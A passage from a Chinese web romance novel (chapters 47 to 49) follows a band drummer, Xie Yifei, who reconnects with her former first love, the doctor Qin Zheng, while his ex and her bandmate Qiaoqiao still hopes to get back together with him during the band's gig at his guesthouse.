纯白是原创乐队,当然希望表演自己的原创曲目,可是新生代乐队的原创曲目几乎没什么粉丝基础,而翻唱的曲目往往都是脍炙人口的,具有自己风格的翻唱更容易被?大家?记住。所以在?原创曲目中穿插一两首翻唱曲目也?是必要的。于是他们决定演奏三首原创曲目,加一首翻唱曲目。 原创曲目很好定,最出圈的那几首就可以,但在?确定翻唱曲目时大家?商量了很久, 谢一菲的成长之路上很少感受到亲情,但是陪着师母治病的这段时间,她总能?回忆起师母这些年对她的关?照,她也?像别人家?的儿女那样,被?母亲的病情牵动着,或悲或喜患得患失。这是师母第一次看她在?另一个领域里诠释自己,所以她很希望有一首歌是送给?师母的。 提出这个想法时,谢一菲很惭愧,师母毕竟只是她自己的师母。可是出乎意料的,队友非但没有反对,反而非常支持她,就连巧巧也?没有意见?。 谢一菲特别感动,到了这一刻,才确定自己已经是他们当中的一员了。 三首原创曲目表 演结束,最后一首是她送给?师母的歌,也?是当年黄家?驹送给?母亲的歌,《真?的爱你》。 “春风化雨暖透我的心/一生眷顾无言地送赠/是你多么温馨的目光/教我坚毅望着前路……” 熟悉的旋律,却又是截然不?同的演绎风格,成功将这场音乐节推上了第一个高朝。 秦铮看着大屏幕上打鼓的女孩,纤瘦却不?羸弱,手臂上流畅的肌肉线条是常年打鼓练就的,那里蓄满了不?可小觑的力?量,那是热爱的力?量. 走出绿地公园很远,依旧还能?听到那里面传出来的音乐声。 宋良骂骂咧咧了一路,快到医院时情绪还是相当饱满:“一来一回四个多小时咱先不?提了,给?黄牛大几百,就待那么一会儿,也?不?知道你怎么想的!” “上午手术的那个病人情况不?稳定,我得回去看看。” 宋良没好气:“行行行,知道你贵人事忙,但好歹也?该跟巧巧说几句话,叙叙旧,不?然人家?怎么知道你来了?” 秦铮:“我为什么要让她知道我来过?” “不?是……”宋良气得说不?出话,“你是什么时候开始走起苦情路线的?” “跟你说多少遍了,我和她早就结束了。” “是是是,你俩结束了,就是有人还旧情难忘,啧啧啧!” 秦铮无奈:“你要是舍不?得走,我现在?就给?你送回去?” “你也就能跟我逞逞能了。对了,我记得你是B型血吧?” 秦铮不?解:“怎么了?” “我最近在?研究血型和性?格的关?系,据说B型血里的恋爱脑最多了,从你这看还真?挺准。” 秦铮:“……” 秦铮:“我没想到都2024年了还能?听到一个医生说出这样的话。” “唉唉你别不?信,很准的!再比如A型血的人,多半有点缺根筋……” “那你一定是A型。” 宋良嘿嘿一笑:“非也?,你兄弟我是O型,最智慧最包容的血型,不?然也?不?能?和你这种人做兄弟啊。” 秦铮:“……” 回到医院,刚走进病区,秦铮就发现自己的办公室门前有人探头探脑鬼鬼祟祟。 “找我?” 他忽然出声,似乎把何婷婷吓了一跳。 何婷婷转过身,一脸堆笑地看着秦铮:“您今天……不?休息?” 秦铮:“什么事?” 何婷婷:“这不?马上国庆了吗?我跟同学?约了出去玩……” “所以呢?” “所以,我这回想去的地方挺多的,能?再请两天假吗?”何婷婷小心翼翼地竖起两根手指。 “国庆七天还不?够?” “我做的那个旅游攻略至少也?得八九天呢……我保证!回来连加一个月的班。”说完,何婷婷一脸讨好地看着他。 秦铮叹气,他身边的人怎么都这样? “去吧,在?外面注意安全。” “得嘞!谢谢老板!” “等等。”秦铮顿了顿,“你什么血型?” “A型啊。”何婷婷一脸的不?明?所以,“您怎么突然关?心我血型?难道是血库缺血,主意打到自己人头上了?” 秦铮烦躁挥挥手:“行了,忙你的去吧。” …… 从延庆回来就已经不?早了,等秦铮忙完时,病房都快熄灯了。 这时候,他忽然收到巧巧发来的微信。 【你今天来音乐节了?怎么不?跟我说?】 她怎么知道他去过? 很快,他就在?朋友圈里找到了答案。 下?午他和宋良分?别不?久后,这家?伙就发了朋友圈,还凑了个九宫格,有乐队表演的照片,其中纯白的最多,还有几张现场氛围的照片,有一张他也?出镜了。 最可恶的是,这家?伙给?这条朋友圈的配文是:【驱车俩小时,观演十分?钟,陪着兄弟追姑娘!】 秦铮直接拨通了宋良的电话,开门见?山地说:“把你那朋友圈删了。” 对方像是在?吃东西,满不?在?乎道:“凭什么啊?再说,我说错了吗?” 一句问话就让秦铮彻底哑火了。 是啊,他说错了吗?没错。但是有人理解错了! “赶紧删了。”他没好气地催他。 宋良哈哈大笑:“怎么着?秦大医生是觉得丢份儿吗?追求幸福有什么好丢份儿的?今天我都被?感动了,再铁石心肠的姑娘也?得在?你面前化成一滩水了,前提是你得让人家?知道你做了这些啊!” 秦铮无奈:“你要怎么才肯删?” 宋良似乎有点意外:“我删不?删那条朋友圈对你来说这么重?要?” 秦铮咬着牙“嗯”了一声。 “难得有事能?拿捏住我们天不?怕地不?怕的秦医生啊!”小人得志的宋医生琢磨了一下?说,“这样吧,只要你答应国庆那几天去‘见?山’站个台,我现在?就删朋友圈。” “什么意思?” “这么说吧,你的身份就和夜店‘女免局’里的美女差不?多……” “无聊。随便你删不?删吧。” 说着秦铮挂断了电话,可看到巧巧接二连三的微信后他又有点后悔。 还好宋良的电话很快又打了过来。 宋良:“你听我把话说完啊。又不?用你做什么,就让你去住两天,营销个帅哥老板的噱头而已。你好歹也?是‘见?山’的大股东,‘见?山’生意冷清你管不?管?” 要是搁在?平时,秦铮肯定二话不?说就拒绝了,他对出这种风头没什么兴趣,但是想到那条朋友圈可能?带给?他的麻烦,他最终还是妥协了。 “最多两天。” “得嘞!两天足够了!” …… 第48章 第 48 章 “我好像挺见不得人的。…… 晚上?演出结束, 王林请乐队成员撸串,算是?庆功宴了。 今天是?他们第一次在这么大的舞台演出,反响出乎意料的好, 据说网上?关于音乐节的帖子下面有不少人夸他们。 王林问谢一菲:“你师母和刘姐呢?要不要一起来?。” “不用了,她们年纪大了,睡得早。” 虞洁身体不好,纯白演出完没?多久, 刘姐就带着她回酒店了。第二天的演出虞洁的身体肯定?是?撑不住的,但她又不想提前回去,就计划着在酒店休息一天, 等谢一菲演出完一起返回市区。 即便?这样,谢一菲也能看出师母很累了, 但也看得出她心情不错。刘姐还悄悄跟她说,师母已经很久没?这么开心过了。 王林:“我今天还在台下看到她们了, 不停地拍照呢, 看样子老人家是?挺高兴的。而且你们唱Beyond的时候, 我专门看了眼老人家,她当时热泪盈眶,显然很感动。” 在台上?时, 谢一菲也看到了师母。回想着师母当时的反应,她想她一定?听懂了那首歌。 吉他手?小川说:“别说其他人了,当时谢老师的师母就在我们舞台边上?, 我看到她那么激动,我都很感动, 差点就弹错音了。” 武哥调侃他:“那你这心理素质可得好好练练。” 巧巧瞥了眼谢一菲,不冷不热地说:“没?想到你这人还挺重情义?的。” 谢一菲笑?:“今天我师母这么高兴,还是?多亏了大家。” “都是?自己人, 还这么客气干什么?”说着,王林招呼众人,“来?来?来?,各位老师,举杯举杯,庆祝我们第一次亮相圆满成功!” 自从?谢一菲加入纯白以来?,这顿饭是?人最全的一次。以前因为巧巧对她的态度微妙,每次吃饭只要有她在,巧巧就借故不参加。但今天不一样,巧巧的心情好像格外不错,就连对她也多了几分好脸色。 众人心情好,再加上?喝了酒,话就多了起来?。 大家聊着乐队刚组成时的艰辛,王林坦言:“最难的一次是?巧巧差点被?人挖走?。” 巧巧埋怨王林:“骂我不讲义?气是?不是??根本就没?有那种可能性。” 王林:“是?我耽误了你。” “瞎说什么呢!你以为我没?盘算过吗,签给他们就得听他们安排了,哪有现在自由,再说纯白也不比那些乐队差。” 武哥笑?着给巧巧倒满了酒:“你就直接说你没?有上?进心得了。” 听众人你一言我一语地笑?闹着,谢一菲这才知道,原来?巧巧因为长 得漂亮,歌唱得也好,很早就被?业内看好,之前有不少小有名气的乐队和经纪公司找过她,但她因为年轻时受到过王林的帮助,所以一直留在了纯白,陪着这支乐队成长。 谢一菲忽然就理解了她们之间有矛盾时,王林的为难之处。 这天晚上?,他们聊到很晚,寂静的街道上?回荡着他们的声音,夏末干燥的空气里?弥漫着松弛的味道。 谢一菲也很久没?这么开心过了。 …… 音乐节的热度让纯白很快接到一份商演的工作,好像是?一家营地的开业活动。 王林的原话是?:“档次虽然低了点,好在钱给到位了,大家要开始习惯这种赚外快的生活。” 谢一菲当然也愿意去,能和大家一起在不同的舞台上?演出,还能赚点外快自然是?一举两得的好事。唯一不好的就是?商演时间和秦铮约她去京郊玩的时间冲突了。 秦铮听后一开始还有点遗憾,但后来?似乎是?想到了什么说:“这样也好,省的有人多事。” 谢一菲没?明白他这话的意思,但见他没?打算解释,也就没?有追问。 转眼就到了国庆节当天。 商演活动是?傍晚开始,但考虑到长假出城的路肯定?不好走?,谢一菲他们吃过午饭就出发了。 北京周边可以露营的地方很多,但大致就那么几个方向,所以当她感觉眼前的路有点熟悉时,她也没?多想,直到看到了山脚下的那个马场。 沿着马场后面的路上?山,不用走?太远应该就是?秦铮朋友开的那家民?宿。她记得民?宿附近就有营地,也是?他朋友经营的。 不会?这么巧吧?可是?那里?不是?早就开业了吗?又搞什么“开业活动”? 然而事实证明,有时候就是?这么巧。 车子最终在名牌刻着“见山”两个字的小房子前停了下来?。 其他人显然都是?第一次来?,对这里?的环境充满了好奇。 吉他手?小川感慨道:“这地方环境真不错,看着就很贵。” 王林笑?:“那是?,我刚才来?的路上查了一下这家民宿的房价,国庆期间一间房快四千了。我猜要不是?下面的营区订满了,根本轮不到咱们住这么好的房间。” 小川:“我看是咱名气打响了,人家不敢怠慢咱。” 王林白他一眼:“这才哪到哪?行了,别贫了,去帮你一菲姐把她那些家伙事儿搬下来?。” “得嘞!” 正?在这时,一位经理模样的人热情地迎了出来?,说东西回头有人帮忙搬,他们只管先入住,养精蓄锐准备晚上?的演出就行。 刚才听王林说了这里?的房价,大家还以为要两人一间,正?商量着谁和谁住一间,没?想到那经理说老板早提前安排好了,特意嘱咐给他们一人留一间。 小川小声嘀咕:“这家老板一定?是?咱的铁粉。” 这话被?那位经理听到了,哈哈大笑?说:“确实,还是?铁粉中的铁粉。” 王林说:“对了,老板在吗?之前我们一直都是?电话联络,还没?见过面,他要是?在的话,我该好好感谢他。” “您客气了,就像这位老师说的,我们老板是?咱们乐队的粉丝,所以能请到几位老师,也是?我们的荣幸。”说着,经理看了眼时间,“不过他应该快到了,你们晚上?肯定?能见到。” 这里?虽然是?民?宿,但管理绝对不输于五星级酒店。很快,他们几人的入住手?续就都办好了。 安排给谢一菲的房间和上?次住的不是?同一间,但落地窗外的景色却一样的美。 此时,太阳已经西斜,阳光很温暖,但却不刺眼。远处峰峦若隐若现,近处一片郁郁葱葱。山间小路像一条条小蛇,从?山脚蜿蜒而上?。 谢一菲发了条微信给秦铮:【你猜我在哪?】 山间林木的影子被?一点点拉长,远处的山色从?青转黛。 秦铮没?有回复谢一菲,她也没?太在意,因为再过一会?儿,她就要去为晚上?的演出做准备了。 露营区的空地上?搭建起了一个简易的舞台,舞台对面的天幕下摆了餐桌和椅子,餐桌上?摆满了小吃和啤酒,住在后面民?宿里?的客人可以来?这里?看表演,其他客人可以直接在自己的帐篷里?看演出,因为每一顶帐篷离舞台都不算远,而且每一顶帐篷附近也都有提供小吃和啤酒的地方。 最后一缕晚霞被?黑暗吞没?,营区的灯渐次亮起,几乎照亮半个山谷。 演出开始了,电吉他的声音刺破了山间宁静的夜空。 北京的夏天热烈又绵长,这个秋天被?期盼了太久。山风吹散白天的燥意,年轻人们开始狂欢。 演出到一半,谢一菲注意到之前负责接待他们的那位经理又出现了,这一次他身后还跟着两个人,他毕恭毕敬地将那两人带到了他们舞台对面的天幕下。 晚上?光线不好,距离又不近,谢一菲只觉得那俩人身形有点眼熟,等那两个人转过身来?时,谢一菲差点敲错了拍子。 秦铮和宋良怎么来?了?难道秦铮之前说要带她去的“京郊”就是?这里?,她来?不了,他就和宋良一起来?了? 再看巧巧,她显然也看到了秦铮,先是?错愕,然后就是?毫不掩饰的欣喜。 谢一菲却怎么也开心不起来?。 此时的秦铮正?看向舞台,只是?隔得有点远,她看不清他的表情,不知道他在看到她时有没?有觉得惊讶。 来?的路上?听到声音,秦铮就有了不好的预感,现在看到真人了,预感被?证实了。 “这就是?你说的惊喜?” 宋良一副无?所谓地样子:“不用谢我!难得你对个姑娘这么上?心,作为兄弟,帮你这点小忙不足挂齿。” 秦铮:“……” 难怪下午的时候谢一菲神神秘秘地让他猜她在哪,他猜一定?是?他们都知道的地方,就是?没?往这里?想。 宋良:“开一路车了,秦医生想吃什么,让厨房准备一下送过来??” “我不饿,你自己吃吧。” “你这态度就有点忘恩负义?了啊!要不是?为了你这个恋爱脑,我用得着这么费尽心思吗?你不谢我就算了,还给我脸色看?” 他本来?就是?想带谢一菲来?这休息几天的,宋良这安排也没?错,就是?多了几个人。他倒不怕尴尬,就怕谢一菲又埋怨他。 秦铮无?奈道:“我谢谢你,但拜托你从?现在开始,不要再主动作为了。” 宋良:“别人想让我主动作为都难,到你这真是?不识好人心啊。算了,你不吃我吃!” 宋良对旁边的郑经理说:“让厨房给我拉碗面,这两天胃不好,得吃点好消化的。” 郑经理领了命正?要离开,宋良又想起什么叫住他:“对了,乐队的经纪人一起来?了吗?” 郑经理说:“来?了,在舞台那边。” “快请过来?,我们之前一直电话联系,还没?见过面呢!” 郑经理离开后,宋良环顾四周感慨道:“这多好,这个月营收稳了……” 秦铮没?搭理宋良的絮絮叨叨,他只是?看着台上?。 隔的有点远,他其实看得不太清楚,但不妨碍他感受到了她的全情投入。 他不由得又想起音乐节大屏幕上?的她,陶醉忘我,且充满活力?。多年前乐器店门口看人打鼓的那个小姑娘早已今非昔比有了自己的舞台,能让每一个看到她的人都被?她感染。 片刻后,郑经理把纯白的经纪人王林带了过来?, 宋良见到美女态度立刻殷勤了起来?,几人打过招呼,就聊起了这次的合作有多愉快,那两人一拍即合,几乎把未来?十年的合作也谈好了。 这时候,音乐声停了,郑经理连忙说:“中场休息了,我 去把几位老师请过来?喝点水。” 宋良一边说“快去快去”,一边又暧昧地看了眼秦铮。 不一会?儿,乐队的几个人就过来?了。王林帮着大家介绍,说这两位是?这里?的老板,又一一介绍乐队的成员。 没?想到秦铮说的那位老板朋友就是?宋良,而他自己也是?这里?的老板之一。不过他们能来?这里?演出应该还是?宋良的意思,谢一菲观察着秦铮的神色,看他的样子应该事先并不知情。 不过让她意外的事,巧巧和宋良说话的态度很熟稔,但看样子也是?刚知道他是?这里?的老板。 宋良被?巧巧戴高帽子戴得心情更好了,真像个甲方爸爸似的郑重地和其他乐队成员依次握了手?。 到谢一菲时,他忽然愣住了:“你不是?那个……” 话说一半,似乎想不起来?她叫什么了,他有点不确定?地瞥了眼秦铮。 谢一菲立刻报上?自己的名字:“谢一菲。” 宋良拍了下脑门:“音乐节那天隔着老远我就觉得你有点眼熟,没?想到还真是?熟人。真不怪我没?认出你,谁能想到平时文文静静穿白大褂的人打起鼓来?那么帅啊!” 他周边认识她的人对她的评价都是?循规温和柔顺蹈矩的,可惜他们不知道她长了一张很具有欺骗性的脸,她恣意大胆,也冷酷果决。 王林好奇:“你们也认识?” 谢一菲连忙说:“秦医生是?我师母的主治医生,我们学校和附院也刚好有个合作,我这段时间总往医院跑,见过宋医生几次。” 王林了然:“那还真是?巧了,难怪宋总点名让我们来?,看来?还是?有意照顾我们啊。” 宋良摆手?:“客气客气。” 这事后,郑经理提议道:“几位老师忙一晚上?了,还没?吃饭呢,我刚才看那边烤肉烤差不多了,我去端点过来?。” “对对,大家快坐吧。” 宋良刻意让出秦铮旁边的位置留给巧巧,自己坐在巧巧的另一边。这意图过分明显,加上?巧巧那不自在的神情大家还有什么不明白的。 秦铮却忽然站起身来?,借故离开了。 巧巧的表情在他站起来?的那一刻忽然僵住,又在他离开后很快恢复如常。 这时候,各式各样的烤肉被?送了上?来?,大家的注意力?自然而然地转移到了烤肉上?去。 谢一菲的手?机振动了两下,是?秦铮发来?的微信。 秦铮:【你住哪个房间?】 谢一菲一时间不知道该怎么回答,毕竟队友们都在,她不想闹出什么事让大家尴尬。 忽然间,王林的声音在耳边响起:“他们之前说的让巧巧念念不忘的那个男人就是?这位秦医生吧?” 谢一菲吓了一跳,连忙收起手?机。 王林没?想到她会?这么大反应,狐疑地瞥了眼她的手?机:“跟谁发微信呢,鬼鬼祟祟的?” “工作上?的事。” 王林撇撇嘴:“你那什么工作?放假了也不放过你。” 还好王林没?起疑,也没?再继续刚才的话题。 谢一菲松了口气,一抬头恰对上?了巧巧的目光。 宋良问:“看什么呢?” 巧巧收回视线:“没?看什么。” 宋良看了眼周围人,见没?人注意他们,他神神秘秘对巧巧说:“手?。” 巧巧不明所以:“什么?” “给你样东西。” 看宋良鬼鬼祟祟的,巧巧在桌下摊开了手?,但看到宋良放在她手?上?的东西时,她脸色立刻变了。 “你有毛病吧?”她直接把房卡扔回给了宋良。 见其他人都看向他们,宋良手?忙脚乱把房卡藏了起来?,掩饰性地笑?笑?说:“跟我妹妹开个玩笑?,真不经逗。” 好在其他人都知道巧巧那脾气,也没?太当回事。 宋良心里?叫苦,暗骂自己多管闲事,但为了兄弟,他还是?耐心解释说:“我说妹妹,我是?那种挖兄弟墙角的人吗?这是?秦医生的房卡。” 巧巧一听是?自己误会?了宋良,也有点尴尬,明知故问道:“给我他的房卡干什么?” “当然是?为了你俩的幸福啊!我可是?看着你俩是?怎么在一起又怎么分开的,说实话我觉得挺可惜的。” 巧巧情绪低落:“合则聚不合则散,本来?也没?说要天长地久,分了有什么好可惜的?!” 宋良:“要是?你俩对彼此都没?感情了,那确实没?什么好可惜的。但我这个旁观者看得清清楚楚!你心里?还有他,他呢……” 见巧巧一脸期待地看着自己,宋良轻咳一声继续道:“你了解他那个人,他要是?想和一个人划清关系,那就连见面的机会?都不会?给彼此,但是?你们分手?后他去过几次初涩?还有啊,延庆那音乐节他去了你知道吧?他早上?手?术,下午还有事,中间就那么几个小时的时间,他还是?要去了,来?回四个小时的车程啊,他就在那待了半个小时。” 巧巧:“你怎么就知道他是?为了我?” “不是?为了你还能为了谁?我和他是?大学同学,认识很多年了。这些年他身边的女人我也见过不少,但他对你绝对不一样!” “真的?” 宋良一拍大腿:“保真!” 巧巧:“可我们刚分手?,他转头就和别人好了,我哪里?不一样了?” “什么?和谁?” 巧巧快速扫了眼对面的谢一菲:“你不知道?” “我没?听说啊!他们科最近可忙呢,根本没?时间。你是?不是?误会?什么了?” “真没?有别人?” “害,有的话我肯定?得知道啊,我俩这关系,他没?理由瞒着我啊!” 听着宋良的话,巧巧心里?泛出丝丝甜蜜。 小川他们都认识秦铮,原因自然是?因为巧巧。 小川小声跟旁边的贝斯手?山子说:“看来?林姐说的没?错,是?我飘了,人家对我们这么客气,那明显是?看在巧巧姐的面子上?。” 贝斯手?山子不怀好意:“难怪特意嘱咐给我们一人一间房呢。” 小川先是?不解,转瞬暧昧地笑?起来?:“你小子太坏了,小心巧巧姐揍你!” 武哥从?巧巧那边收回视线,出声打断两人:“行了,歇差不多了,准备下半场吧。” …… 演出到深夜才结束,秦铮自从?离开后就再没?出现,也没?再给谢一菲发微信。不过谢一菲并不担心他,他既然是?这里?的老板之一,那这里?谁也不能亏待他,这会?儿说不准已经在某间房间休息了。这样倒是?让她轻松不少。 谢一菲本来?就已经累了一天了,秦铮出现后精神高度紧张,这会?儿只想洗个澡好好睡一觉。 泡澡泡到一半,门铃忽然响了。 她立刻猜到了来?人是?谁。 这里?既然是?秦铮的地盘,就算她不告诉他房间号,他也不难查到。 她想当没?听见,说不准他找不到她很快就走?了。但没?一会?儿,放在浴缸边上?的手?机振动了两下。 秦铮:【开门。】 她知道躲不过只好从?浴缸里?出来?,穿上?浴袍出去开门。 门外站着的果然是?秦铮。 她快速扫了眼四周,虽然时间不早了,但因为营区那边的活动还没?结束,偶尔还有客人和工作人员路过。 她犹豫了一下,压低声音问秦铮:“有什么事吗?” 他上?下扫了她一眼说:“你希望我站在这回答这个问题吗?” 谢一菲无?奈,只好把人让进门内。 担心被?人看到,关门前,她又特意看了眼门外,还好没?有熟人路过。 一转过身,看到秦铮正?似笑?非笑?地看着她。 “怎么了?” “我好像挺见不得人的。” “不是?……我们不是?说好……” “什么时候说好的?” 谢一菲仔细回想了一下,他们之前好像确实没?聊过会?在什么范围公开他们的关系。可是?人前低调,她以为这是?他们之间的默契。 “你是?觉得我们之间的关系见不得人,还是?见不得某些人?” 原来?他也知道她在顾虑谁。这还不都 怪他?要不是?他欠了这么多风流债,她用得着像做贼一样吗? “巧巧是?我的队友。“ “那又怎样?我和她什么时候结束的你不是?很清楚吗?”秦铮走?近一步,“谢一菲,你不觉得你很虚伪吗?你以为你不说她就不知道你和我的关系了吗?还是?你觉得你这么顾及她的感受她会?感激你?” 谢一菲哑口无?言,可是?他有什么立场说她虚伪? “就算不是?为了她,我也觉得我们的关系没?什么公开的必要。” 秦铮神色不明;“什么意思?” “我们这种关系不就是?玩玩吗?像你和巧巧那样,没?必要介入彼此生活太深。” “你是?这么想的?” 她也是?被?他那句“虚伪”气昏了头,所以口不择言,但可悲的是?,仔细想想,她发现自己说的也没?什么错。她又能比巧巧好多少呢?或许他对她是?有感情的,但男人的感情太不纯粹了,可能只是?源于多年前的一点意难平,也可能只是?源于最原始的浴望。 想到这里?,她抬起头来?倔强地看着他:“对。” 就当她以为他会?生气离开时,他忽然笑?了。 他又走?近了一步,把她困在他的身体和玄关处的柜子之间。 她下意识想推开他,手?腕又被?他攥住,有点痛。 “你干什么?” 他低下头来?:“当然是?,干我们这种关系该干的事。”. 巧巧等到深夜,等到篝火边的年轻人都回帐篷休息了,也没?人来?找她。 她从?来?没?有这么煎熬过,猜测着他此刻在干什么,会?不会?和谢一菲在一起。可想到宋良的话,她又觉得一切还没?那么糟糕。 不知不觉中,她来?到了秦铮的房门前。她深吸一口气按响门铃,里?面久久没?人回应。是?房间里?没?有人,还是?他没?听见门铃响? 她低头看到自己手?里?的房卡,想象着打开门后,自己或许会?看到的画面,可能他还没?有回来?,也可能他在浴室什么也没?听见,还有一种可能,里?面不止他一个人…… 理智告诉她该调头回去的,可是?宋良既然把房卡给她,说不准秦铮也是?知情的。知情就是?默许,他回来?时看到她该是?高兴的吧? 门锁“嘀”的一声,房门打开。玄关处亮一盏壁灯,除此之外,房间里?非常整洁,要不是?垃圾桶那有只空掉额烟盒,她几乎要以为他从?未来?过。 可能是?出去了吧,要休息时总会?回来?的。 巧巧走?去床边坐了下来?,面前是?大面积的落地窗,夜已深,窗外是?一片黑寂,起伏的山峦和葱郁的绿树此时都掩在了夜色之中,留下一片没?有星光的夜景。 她不知道等了多久,等到睡着了又惊醒,可这房间里?依旧只有她一个人,也始终只有她一个人。 秦铮去了哪?心中那个早就冒头的答案让她彻底崩溃。 他和秦铮的开始很简单,他话也说得够明白,她当时虽然有点失望,但为了能和他在一起,她选择欺骗他,也欺骗了自己。她以为时间可以改变一切,但时间只是?消磨了他的热情,而她却一天比一天更怕失去他。 她也想像他那样体面地转身,可是?她无?法控制自己。无?法控制自己不去找他,无?法控制自己不再生出幻想。 直到今晚,她主动送上?门,以为男人都过不了这一关,那或许他们之间还有回转的余地。可她甚至连他的面都没?见到。 她其实早猜到她所谓的希望,可能只是?她的自作多情,她以为的“忽冷忽热”只是?她不甘心就此结束给自己制造的错觉,事实上?在她看不见的地方,他或许已经在为别的姑娘赴汤蹈火了。 真相她早就知道,可都被?她一厢情愿地忽视了。 理智早就告诉她,谢一菲没?做错什么,她不该成为他们三个人里?的那个坏人,可是?“放下”太难了。 …… 第49章 第 49 章 这光天化日人来人往的,…… 谢一菲算是真真切切感受到秦医生的怨气了, 他一不高兴,动静就闹得有点大。即便知道这里隔音不至于太差,但谢一菲还是怕被隔壁的队友听到。 好不容易, 熬到某人“中场休息”,她看到营地那边隐约还有亮光,打电话问?了前台才知道,夜场露天电影还在播放。 在房间里待着指不定要闹到什?么时候, 反正她也?睡不着,不如出去看场电影。 听了她的提议,秦铮明知故问?:“不怕被人看到了?” 他说?的那些话她想过了, 也?不是完全没有道理?。纸包不住火,更何况巧巧早该看出来她和秦铮有问?题了, 她再装着和他不熟,确实?显得很虚伪。 既然?如此, 就顺其自然?吧。 到了放电影的地方?, 只有零星两三对情侣在。 谢一菲和秦铮坐到最后一排。 放映的电影是乔治·库克导演的那版《乱世佳人》, 他们到时,正演到亚特兰大被围,斯嘉丽帮助昔日情敌梅兰妮接生。每次看到这里, 谢一菲都会被触动,斯嘉丽最初是嫉妒梅兰妮的,但是在战争爆发后, 她却愿意留在战区帮助即将生产的梅兰妮四处奔走渡过难关。而梅兰妮在北方?佬来家里搜查时,即便身体虚弱也?会坚定挡在斯嘉丽的面前。 这个世界珍贵的感情并不只有爱情。有些女性一旦过了情关, 就没什?么能阻挡她们了、 可是情关又哪是那么容易过的? 夜风吹过,带来山间的凉气。谢一菲才意识到出来时穿得有点少,秦铮似乎察觉到了, 伸出手臂搭在她身后的椅背上,摆出一个敞开怀抱的姿势。 谢一菲确实?觉得有点冷,而秦铮的身体干燥又温暖,于是她从善如流地靠在他的肩膀上,几乎是同时,他收拢手臂,把她往怀里搂了搂。 她说?:“这个电影咱俩看过。” “什?么时候?”他侧过头?,闻到她洗发水的味道,是和他一样的柚子味。 “在我?们学?校图书馆。” 他似是回忆了片刻:“哦,好像是有那么回事。”. 宋良和王林远远看到这一幕时都惊呆了。 他们两人在演出结束后又打着谈日后合作的名义去酒吧续了一摊,边喝边聊到这时候,宋良还没尽兴,又拉着王林出来“散散酒气”,没想到会遇到谢一菲和秦铮。 宋良:“这什?么剧情?我?怎么有点看不懂?” 王林比他接受得更快一点。 其实?之前她就总觉得谢一菲和秦铮之间有点不对劲,要不是巧巧的事让她先入为主,她可能就已经猜到了。 这一刻,她总算明白了巧巧为什?么总是针对谢一菲了,看来谢一菲和秦铮在一起不是一天两天了。 原来那位秦医生才是祸水。 王林笑:“看来你那良苦用心是白费了。” “你怎么知道?” “演出中场休息时,那桌子又不大,你和巧巧说?的话我?听了个七七八八。” 宋良想起自己?送出去的那张房卡,心里苦啊! “现在好了,我?成猪八戒照镜子里外不是人了。” 王林哂笑:“我?真有点怀疑你和秦医生是不是真的关系好了。” “关系必须好啊,就是这种事,他老喜欢藏着掖着,真没意思!”愤愤不平过后,宋良又想到了一个新的问?题,“你说?咱们明天是继续装傻呢还是继续装傻呢?” 王林转身往酒店方?向走:“不用纠结了,今天过后应该就是明牌了。” …… 第二天一早,众人去餐厅吃早饭的时候才发现巧巧已经提前离开了。 王林和宋良不由得对视一眼。 谢一菲的心里也?有点不好受,该来的还是来了。 盘子里忽然?多了个虾饺,秦铮说?:“别?光喝粥。” 谢一菲下意识看向其他人,小川和山子一脸惊异,五哥专注喝着碗里的粥,宋良唉声叹气,王林没什?么特别?的反应。 见?她这反应,秦铮明知故问?:“怎么了?” 谢一菲低头?吃饭:“没什?么。” 王林岔开话 题,问?宋良:“对了,我?们下午就回去了,你们什?么时候走?” 还不等宋良开口,秦铮说?:“我?和一菲再住两天,你们没事的话也?玩两天再回去吧。” 她什?么时候说?要在这多住两天了?还有他这种急于把两人关系公之于众的行为让她觉得很尴尬。 然?而当她抬起头对上秦铮的视线时,想说?的话又说?不出口了。 她昨天才知道音乐节那天他去了,但是被巧巧误会了他是去看她的,就连昨天也?是。 或许他说?的对,粉饰出来的太平不是真的太平,不如把一切摊开来,或许巧巧也?能早点放下。 这时候,郑经理?过来问?大家要不要加点咖啡水果。 记录完大家的需求,郑经理?临走前又问?秦铮:“秦总,您昨晚开的那间房前台说?给您办了两张房卡,您还了一张,身上是不是还有一张房卡?” “咳咳咳咳……”宋良像是被咖啡呛到了,忽然?咳个不停。 秦铮也?没当回事,看他一眼对郑经理?说?:“我?入住时一个人为什?么办两张房卡?” 郑经理?连忙说?:“那没事了,可能前台搞错了。” 说?完他狐疑地瞥了眼咳得面红耳赤的宋良。 郑经理?一走,一直沉默着的武哥也?跟着起身:“我?吃好了,先回房间了。哦对了,下午我?跟王总一起回去。” 武哥一走,气氛又有点僵。 秦铮却在这时候没头?没尾来了一句:“我?和谢老师认识十年了。” 这一讯息无?疑让所有人都很意外。 宋良很激动:“怎么从来没听你说?过?” 秦铮隔桌看着谢一菲:“当年闹得不太愉快,所以不想说?。” 这是他第一次主动表明他对当年那段过往的态度。她似乎能从他的眼中看出一些类似于不爽的情绪。 是她看错了吗? 当年是他先放弃了她,他有什?么好不高兴的?再说?已经十年了,就连她这个被他背叛过的人都能不记前尘地和他再续一段露水情缘,足以说?明时间的力量多么强大。 王林似乎想起了什?么,问?谢一菲:“你那个初恋不会就是秦医生吧?” 如果那句“认识十年”还只是让旁人对两人当年的关系有所猜测,那这句闹得“不太愉快”就让两人的关系不言而喻了。如果只是普通的关系,又怎么会闹得那么不愉快,以至于让当事人耿耿于怀十年之久呢? 谢一菲没有否认。 “从来没听一菲姐提过。”小川好奇地地问?,“那你们这几年一直有联系吗?” 谢一菲说?:“没有。” 秦铮:“今年三月她去医院看病,我?替同事出诊,就遇上了。” 山子夸张地“哇哦”了一声:“缘分真奇妙,跟电视剧似的!” 宋良不可置信道:“三月?三月你俩就破镜重圆了?我?到今天才知道?秦铮!你给我?说?清楚,咱俩到底是不是哥们儿?!” 王林调侃他:“这不显而易见?的事儿吗?” 大家你一言我?一语,因为巧巧不告而别?的低气压也?消失了。 秦铮不是个喜欢跟人说?私事的人,谢一菲知道,他之所以愿意满足大家的好奇心也?是怕她的队友对她有所误解。 她不得不重新审视他们这段关系,他们之间或许没有在座其他人想的那么美好,但也?没她自己?想的那么不堪。 或许是她心里的枷锁太重了,其实?哪怕她和秦铮注定只是彼此的过客,也?没有不能见?天日的理?由。 想到这些,她因为他昨晚骂她虚伪,今早又不顾她死活公开关系生的气也?都消了。 王林约了朋友谈事情,还是要下午返回市区。小川和山子见?队友们走了一大半,也?只好说?和王林一起走。 送王林离开时,谢一菲犹豫了一下还是决定把话说?明白:“我?之前不是故意不告诉你,我?只是不想让他太介入我?的生活。” 